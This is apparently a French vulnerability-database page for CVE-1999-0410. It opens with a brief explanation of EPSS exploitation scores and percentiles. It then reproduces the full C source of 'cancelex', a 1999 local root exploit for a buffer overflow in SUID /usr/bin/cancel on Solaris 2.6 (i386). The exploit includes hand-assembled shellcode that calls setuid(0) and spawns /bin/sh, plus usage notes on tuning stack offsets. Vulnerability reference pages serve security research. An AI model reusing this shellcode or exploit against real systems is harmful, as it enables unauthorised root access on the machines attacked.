CVE-1999-0410 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/293/info A buffer overrun condition was discovered in Solaris 2.6 X_86 in /usr/bin/cancel. This buffer overflow is apparently present in the SPARC version as well although it is thought to be unexploitable. Previous versions of Solaris did not ship with /usr/bin/cancel as SUID root, so while the buffer overflow was present it was harmless. Solaris 7.0 fixes this problem by changing the vulnerable function call. */ /** *** cancelex - i386 Solaris root exploit for /usr/bin/cancel *** *** Tested and confirmed under Solaris 2.6 (i386) *** *** Usage: % cancelex hostname [offset] *** *** where hostname is the name of a host running the printer service on *** TCP port 515 (such as "localhost" perhaps) and offset (if present) *** is the number of bytes to add to the stack pointer to calculate your *** target return address; try -1000 to 1000 in increments of 100 for *** starters. *** *** Cheez Whiz *** cheezbeast@hotmail.com *** *** February 25, 1999 **/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFLEN 1031 #define NOP 0x90 char shell[] = /* 0 */ "\xeb\x3b" /* jmp springboard */ /* syscall: */ /* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */ /* 9 */ "\xc3" /* ret */ /* start: */ /* 10 */ "\x5e" /* popl %esi */ /* 11 */ "\x31\xc0" /* xor %eax,%eax */ /* 13 */ "\x89\x46\xc1" /* movl %eax,-0x3f(%esi) */ /* 16 */ "\x88\x46\xc6" /* movb %al,-0x3a(%esi) */ /* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ /* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ /* setuid: */ /* 25 */ "\x31\xc0" /* xor %eax,%eax */ /* 27 */ "\x50" /* pushl %eax */ /* 28 */ "\xb0\x17" /* movb $0x17,%al */ /* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */ /* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */ /* execve: */ /* 38 */ "\x31\xc0" /* xor %eax,%eax */ /* 40 */ "\x50" /* pushl %eax */ /* 41 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */ /* 44 */ "\x53" /* pushl %ebx */ /* 45 */ "\x8d\x1e" /* leal (%esi),%ebx */ /* 47 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */ /* 50 */ "\x53" /* pushl %ebx */ /* 51 */ "\xb0\x3b" /* movb $0x3b,%al */ /* 53 */ "\xe8\xc8\xff\xff\xff" /* call syscall */ /* 58 */ "\x83\xc4\x0c" /* addl $0xc,%esp */ /* springboard: */ /* 61 */ "\xe8\xc8\xff\xff\xff" /* call start */ /* data: */ /* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */ /* 74 */ "\xff\xff\xff\xff" /* DATA */ /* 78 */ "\xff\xff\xff\xff"; /* DATA */ char buf[BUFLEN+1]; char *egg; unsigned long int esp, nop; long int offset = 0; unsigned long int get_esp() { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { int i; if (argc < 2) { printf("usage: %s hostname [offset]\n", argv[0]); return; } esp = get_esp(); if (argc > 2) offset = strtol(argv[2], NULL, 0); if (argc > 3) nop = strtoul(argv[3], NULL, 0); else nop = 933; memset(buf, NOP, BUFLEN); memcpy(buf+nop, shell, strlen(shell)); for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4) *((int *) &buf[i]) = esp+offset; if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) { printf("malloc failed!\n"); return; } snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf); printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n", esp+offset, esp, offset, nop); execl("/usr/bin/cancel", "cancel", egg, NULL); /* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */ printf("exec failed!\n"); return; }